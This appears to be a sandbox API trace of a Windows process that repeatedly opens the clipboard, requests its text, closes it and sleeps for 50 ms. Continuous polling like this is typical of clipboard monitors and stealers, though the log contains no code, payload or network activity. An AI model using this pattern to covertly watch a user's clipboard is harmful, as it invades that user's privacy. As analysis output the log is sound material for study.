[0259.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.836] GetClipboardData (uFormat=0x1) returned 0x0
[0259.836] CloseClipboard () returned 1
[0259.836] Sleep (dwMilliseconds=0x32)
[0259.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5d814e1, dwHighDateTime=0x1d96e12))
[0259.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.851] GetClipboardData (uFormat=0x1) returned 0x0
[0259.851] CloseClipboard () returned 1
[0259.851] Sleep (dwMilliseconds=0x32)
[0259.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5da773f, dwHighDateTime=0x1d96e12))
[0259.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.868] GetClipboardData (uFormat=0x1) returned 0x0
[0259.868] CloseClipboard () returned 1
[0259.868] Sleep (dwMilliseconds=0x32)
[0259.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5dcd99f, dwHighDateTime=0x1d96e12))
[0259.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.883] GetClipboardData (uFormat=0x1) returned 0x0
[0259.883] CloseClipboard () returned 1
[0259.883] Sleep (dwMilliseconds=0x32)
[0259.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5df3bf5, dwHighDateTime=0x1d96e12))
[0259.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.898] GetClipboardData (uFormat=0x1) returned 0x0
[0259.898] CloseClipboard () returned 1
[0259.898] Sleep (dwMilliseconds=0x32)
[0259.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5e19e52, dwHighDateTime=0x1d96e12))
[0259.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.915] GetClipboardData (uFormat=0x1) returned 0x0
[0259.915] CloseClipboard () returned 1
[0259.915] Sleep (dwMilliseconds=0x32)
[0259.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5e400b3, dwHighDateTime=0x1d96e12))
[0259.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.930] GetClipboardData (uFormat=0x1) returned 0x0
[0259.930] CloseClipboard () returned 1
[0259.930] Sleep (dwMilliseconds=0x32)
[0259.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5e66309, dwHighDateTime=0x1d96e12))
[0259.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.946] GetClipboardData (uFormat=0x1) returned 0x0
[0259.947] CloseClipboard () returned 1
[0259.947] Sleep (dwMilliseconds=0x32)
[0259.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5e8c55e, dwHighDateTime=0x1d96e12))
[0259.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.961] GetClipboardData (uFormat=0x1) returned 0x0
[0259.961] CloseClipboard () returned 1
[0259.961] Sleep (dwMilliseconds=0x32)
[0259.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5eb27b5, dwHighDateTime=0x1d96e12))
[0259.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.976] GetClipboardData (uFormat=0x1) returned 0x0
[0259.976] CloseClipboard () returned 1
[0259.976] Sleep (dwMilliseconds=0x32)
[0259.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5ed8a0c, dwHighDateTime=0x1d96e12))
[0259.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.993] GetClipboardData (uFormat=0x1) returned 0x0
[0259.993] CloseClipboard () returned 1
[0259.993] Sleep (dwMilliseconds=0x32)
[0260.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5efec6b, dwHighDateTime=0x1d96e12))
[0260.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.007] GetClipboardData (uFormat=0x1) returned 0x0
[0260.008] CloseClipboard () returned 1
[0260.008] Sleep (dwMilliseconds=0x32)
[0260.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5f24ee6, dwHighDateTime=0x1d96e12))
[0260.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.023] GetClipboardData (uFormat=0x1) returned 0x0
[0260.023] CloseClipboard () returned 1
[0260.023] Sleep (dwMilliseconds=0x32)
[0260.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5f4b12a, dwHighDateTime=0x1d96e12))
[0260.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.039] GetClipboardData (uFormat=0x1) returned 0x0
[0260.039] CloseClipboard () returned 1
[0260.039] Sleep (dwMilliseconds=0x32)
[0260.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5f71378, dwHighDateTime=0x1d96e12))
[0260.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.054] GetClipboardData (uFormat=0x1) returned 0x0
[0260.054] CloseClipboard () returned 1
[0260.055] Sleep (dwMilliseconds=0x32)
[0260.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5f975f6, dwHighDateTime=0x1d96e12))
[0260.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.070] GetClipboardData (uFormat=0x1) returned 0x0
[0260.070] CloseClipboard () returned 1
[0260.070] Sleep (dwMilliseconds=0x32)
[0260.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5fbd847, dwHighDateTime=0x1d96e12))
[0260.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.086] GetClipboardData (uFormat=0x1) returned 0x0
[0260.086] CloseClipboard () returned 1
[0260.086] Sleep (dwMilliseconds=0x32)
[0260.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5fe3a7d, dwHighDateTime=0x1d96e12))
[0260.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.101] GetClipboardData (uFormat=0x1) returned 0x0
[0260.101] CloseClipboard () returned 1
[0260.101] Sleep (dwMilliseconds=0x32)
[0260.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6009d19, dwHighDateTime=0x1d96e12))
[0260.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.117] GetClipboardData (uFormat=0x1) returned 0x0
[0260.117] CloseClipboard () returned 1
[0260.117] Sleep (dwMilliseconds=0x32)
[0260.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf602ffa6, dwHighDateTime=0x1d96e12))
[0260.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.133] GetClipboardData (uFormat=0x1) returned 0x0
[0260.133] CloseClipboard () returned 1
[0260.133] Sleep (dwMilliseconds=0x32)
[0260.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6056196, dwHighDateTime=0x1d96e12))
[0260.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.148] GetClipboardData (uFormat=0x1) returned 0x0
[0260.148] CloseClipboard () returned 1
[0260.149] Sleep (dwMilliseconds=0x32)
[0260.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf607c40f, dwHighDateTime=0x1d96e12))
[0260.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.164] GetClipboardData (uFormat=0x1) returned 0x0
[0260.164] CloseClipboard () returned 1
[0260.164] Sleep (dwMilliseconds=0x32)
[0260.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf60a2664, dwHighDateTime=0x1d96e12))
[0260.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.179] GetClipboardData (uFormat=0x1) returned 0x0
[0260.179] CloseClipboard () returned 1
[0260.180] Sleep (dwMilliseconds=0x32)
[0260.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf60c88b1, dwHighDateTime=0x1d96e12))
[0260.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.195] GetClipboardData (uFormat=0x1) returned 0x0
[0260.195] CloseClipboard () returned 1
[0260.195] Sleep (dwMilliseconds=0x32)
[0260.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf60eeb03, dwHighDateTime=0x1d96e12))
[0260.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.211] GetClipboardData (uFormat=0x1) returned 0x0
[0260.211] CloseClipboard () returned 1
[0260.211] Sleep (dwMilliseconds=0x32)
[0260.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6114df2, dwHighDateTime=0x1d96e12))
[0260.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.226] GetClipboardData (uFormat=0x1) returned 0x0
[0260.226] CloseClipboard () returned 1
[0260.226] Sleep (dwMilliseconds=0x32)
[0260.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf613b045, dwHighDateTime=0x1d96e12))
[0260.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.242] GetClipboardData (uFormat=0x1) returned 0x0
[0260.242] CloseClipboard () returned 1
[0260.242] Sleep (dwMilliseconds=0x32)
[0260.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6161279, dwHighDateTime=0x1d96e12))
[0260.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.258] GetClipboardData (uFormat=0x1) returned 0x0
[0260.258] CloseClipboard () returned 1
[0260.258] Sleep (dwMilliseconds=0x32)
[0260.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf61874ae, dwHighDateTime=0x1d96e12))
[0260.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.273] GetClipboardData (uFormat=0x1) returned 0x0
[0260.274] CloseClipboard () returned 1
[0260.274] Sleep (dwMilliseconds=0x32)
[0260.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf61ad6cd, dwHighDateTime=0x1d96e12))
[0260.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.289] GetClipboardData (uFormat=0x1) returned 0x0
[0260.289] CloseClipboard () returned 1
[0260.289] Sleep (dwMilliseconds=0x32)
[0260.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf61d39bf, dwHighDateTime=0x1d96e12))
[0260.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.304] GetClipboardData (uFormat=0x1) returned 0x0
[0260.304] CloseClipboard () returned 1
[0260.304] Sleep (dwMilliseconds=0x32)
[0260.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf61f9bd1, dwHighDateTime=0x1d96e12))
[0260.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.320] GetClipboardData (uFormat=0x1) returned 0x0
[0260.320] CloseClipboard () returned 1
[0260.320] Sleep (dwMilliseconds=0x32)
[0260.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf621fdf1, dwHighDateTime=0x1d96e12))
[0260.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.336] GetClipboardData (uFormat=0x1) returned 0x0
[0260.336] CloseClipboard () returned 1
[0260.336] Sleep (dwMilliseconds=0x32)
[0260.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf62460c4, dwHighDateTime=0x1d96e12))
[0260.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.351] GetClipboardData (uFormat=0x1) returned 0x0
[0260.351] CloseClipboard () returned 1
[0260.351] Sleep (dwMilliseconds=0x32)
[0260.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf626c2e5, dwHighDateTime=0x1d96e12))
[0260.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.367] GetClipboardData (uFormat=0x1) returned 0x0
[0260.367] CloseClipboard () returned 1
[0260.367] Sleep (dwMilliseconds=0x32)
[0260.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf62924d6, dwHighDateTime=0x1d96e12))
[0260.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.383] GetClipboardData (uFormat=0x1) returned 0x0
[0260.383] CloseClipboard () returned 1
[0260.383] Sleep (dwMilliseconds=0x32)
[0260.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf62b87db, dwHighDateTime=0x1d96e12))
[0260.400] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.400] GetClipboardData (uFormat=0x1) returned 0x0
[0260.400] CloseClipboard () returned 1
[0260.400] Sleep (dwMilliseconds=0x32)
[0260.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf62de98d, dwHighDateTime=0x1d96e12))
[0260.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.415] GetClipboardData (uFormat=0x1) returned 0x0
[0260.415] CloseClipboard () returned 1
[0260.415] Sleep (dwMilliseconds=0x32)
[0260.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6304bd5, dwHighDateTime=0x1d96e12))
[0260.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.433] GetClipboardData (uFormat=0x1) returned 0x0
[0260.433] CloseClipboard () returned 1
[0260.433] Sleep (dwMilliseconds=0x32)
[0260.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf632ae25, dwHighDateTime=0x1d96e12))
[0260.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.445] GetClipboardData (uFormat=0x1) returned 0x0
[0260.445] CloseClipboard () returned 1
[0260.445] Sleep (dwMilliseconds=0x32)
[0260.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf635107a, dwHighDateTime=0x1d96e12))
[0260.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.461] GetClipboardData (uFormat=0x1) returned 0x0
[0260.461] CloseClipboard () returned 1
[0260.461] Sleep (dwMilliseconds=0x32)
[0260.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf63772d2, dwHighDateTime=0x1d96e12))
[0260.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.477] GetClipboardData (uFormat=0x1) returned 0x0
[0260.477] CloseClipboard () returned 1
[0260.477] Sleep (dwMilliseconds=0x32)
[0260.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf639d529, dwHighDateTime=0x1d96e12))
[0260.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.493] GetClipboardData (uFormat=0x1) returned 0x0
[0260.493] CloseClipboard () returned 1
[0260.493] Sleep (dwMilliseconds=0x32)
[0260.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf63c378c, dwHighDateTime=0x1d96e12))
[0260.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.508] GetClipboardData (uFormat=0x1) returned 0x0
[0260.508] CloseClipboard () returned 1
[0260.508] Sleep (dwMilliseconds=0x32)
[0260.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf63e99e8, dwHighDateTime=0x1d96e12))
[0260.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.523] GetClipboardData (uFormat=0x1) returned 0x0
[0260.523] CloseClipboard () returned 1
[0260.523] Sleep (dwMilliseconds=0x32)
[0260.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf640fc47, dwHighDateTime=0x1d96e12))
[0260.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.540] GetClipboardData (uFormat=0x1) returned 0x0
[0260.540] CloseClipboard () returned 1
[0260.540] Sleep (dwMilliseconds=0x32)
[0260.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6435e8e, dwHighDateTime=0x1d96e12))
[0260.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.554] GetClipboardData (uFormat=0x1) returned 0x0
[0260.554] CloseClipboard () returned 1
[0260.554] Sleep (dwMilliseconds=0x32)
[0260.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf645c0ef, dwHighDateTime=0x1d96e12))
[0260.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.571] GetClipboardData (uFormat=0x1) returned 0x0
[0260.571] CloseClipboard () returned 1
[0260.572] Sleep (dwMilliseconds=0x32)
[0260.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6482351, dwHighDateTime=0x1d96e12))
[0260.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.586] GetClipboardData (uFormat=0x1) returned 0x0
[0260.586] CloseClipboard () returned 1
[0260.586] Sleep (dwMilliseconds=0x32)
[0260.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf64a85a2, dwHighDateTime=0x1d96e12))
[0260.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.601] GetClipboardData (uFormat=0x1) returned 0x0
[0260.601] CloseClipboard () returned 1
[0260.601] Sleep (dwMilliseconds=0x32)
[0260.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf64ce7fc, dwHighDateTime=0x1d96e12))
[0260.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.618] GetClipboardData (uFormat=0x1) returned 0x0
[0260.618] CloseClipboard () returned 1
[0260.618] Sleep (dwMilliseconds=0x32)
[0260.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf64f4a54, dwHighDateTime=0x1d96e12))
[0260.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.633] GetClipboardData (uFormat=0x1) returned 0x0
[0260.633] CloseClipboard () returned 1
[0260.633] Sleep (dwMilliseconds=0x32)
[0260.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf651acb3, dwHighDateTime=0x1d96e12))
[0260.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.648] GetClipboardData (uFormat=0x1) returned 0x0
[0260.648] CloseClipboard () returned 1
[0260.648] Sleep (dwMilliseconds=0x32)
[0260.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6540f0a, dwHighDateTime=0x1d96e12))
[0260.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.670] GetClipboardData (uFormat=0x1) returned 0x0
[0260.670] CloseClipboard () returned 1
[0260.670] Sleep (dwMilliseconds=0x32)
[0260.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf656716d, dwHighDateTime=0x1d96e12))
[0260.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.679] GetClipboardData (uFormat=0x1) returned 0x0
[0260.679] CloseClipboard () returned 1
[0260.680] Sleep (dwMilliseconds=0x32)
[0260.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf658d3c0, dwHighDateTime=0x1d96e12))
[0260.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.697] GetClipboardData (uFormat=0x1) returned 0x0
[0260.697] CloseClipboard () returned 1
[0260.697] Sleep (dwMilliseconds=0x32)
[0260.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf65b362e, dwHighDateTime=0x1d96e12))
[0260.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.711] GetClipboardData (uFormat=0x1) returned 0x0
[0260.711] CloseClipboard () returned 1
[0260.711] Sleep (dwMilliseconds=0x32)
[0260.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf65d9871, dwHighDateTime=0x1d96e12))
[0260.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.726] GetClipboardData (uFormat=0x1) returned 0x0
[0260.726] CloseClipboard () returned 1
[0260.726] Sleep (dwMilliseconds=0x32)
[0260.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf65fface, dwHighDateTime=0x1d96e12))
[0260.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.743] GetClipboardData (uFormat=0x1) returned 0x0
[0260.743] CloseClipboard () returned 1
[0260.743] Sleep (dwMilliseconds=0x32)
[0260.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6625d2c, dwHighDateTime=0x1d96e12))
[0260.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.757] GetClipboardData (uFormat=0x1) returned 0x0
[0260.758] CloseClipboard () returned 1
[0260.758] Sleep (dwMilliseconds=0x32)
[0260.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf664bf88, dwHighDateTime=0x1d96e12))
[0260.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.773] GetClipboardData (uFormat=0x1) returned 0x0
[0260.773] CloseClipboard () returned 1
[0260.773] Sleep (dwMilliseconds=0x32)
[0260.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf66721da, dwHighDateTime=0x1d96e12))
[0260.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.790] GetClipboardData (uFormat=0x1) returned 0x0
[0260.790] CloseClipboard () returned 1
[0260.790] Sleep (dwMilliseconds=0x32)
[0260.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6698437, dwHighDateTime=0x1d96e12))
[0260.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.805] GetClipboardData (uFormat=0x1) returned 0x0
[0260.805] CloseClipboard () returned 1
[0260.805] Sleep (dwMilliseconds=0x32)
[0260.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf66be68d, dwHighDateTime=0x1d96e12))
[0260.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.821] GetClipboardData (uFormat=0x1) returned 0x0
[0260.821] CloseClipboard () returned 1
[0260.822] Sleep (dwMilliseconds=0x32)
[0260.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf66e48ef, dwHighDateTime=0x1d96e12))
[0260.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.836] GetClipboardData (uFormat=0x1) returned 0x0
[0260.836] CloseClipboard () returned 1
[0260.836] Sleep (dwMilliseconds=0x32)
[0260.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf670ab40, dwHighDateTime=0x1d96e12))
[0260.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.851] GetClipboardData (uFormat=0x1) returned 0x0
[0260.851] CloseClipboard () returned 1
[0260.851] Sleep (dwMilliseconds=0x32)
[0260.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6730d9e, dwHighDateTime=0x1d96e12))
[0260.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.868] GetClipboardData (uFormat=0x1) returned 0x0
[0260.868] CloseClipboard () returned 1
[0260.869] Sleep (dwMilliseconds=0x32)
[0260.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6756ff9, dwHighDateTime=0x1d96e12))
[0260.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.882] GetClipboardData (uFormat=0x1) returned 0x0
[0260.883] CloseClipboard () returned 1
[0260.883] Sleep (dwMilliseconds=0x32)
[0260.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf677d251, dwHighDateTime=0x1d96e12))
[0260.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.898] GetClipboardData (uFormat=0x1) returned 0x0
[0260.898] CloseClipboard () returned 1
[0260.898] Sleep (dwMilliseconds=0x32)
[0260.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf67a34ad, dwHighDateTime=0x1d96e12))
[0260.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.915] GetClipboardData (uFormat=0x1) returned 0x0
[0260.915] CloseClipboard () returned 1
[0260.916] Sleep (dwMilliseconds=0x32)
[0260.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf67c9703, dwHighDateTime=0x1d96e12))
[0260.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.929] GetClipboardData (uFormat=0x1) returned 0x0
[0260.929] CloseClipboard () returned 1
[0260.930] Sleep (dwMilliseconds=0x32)
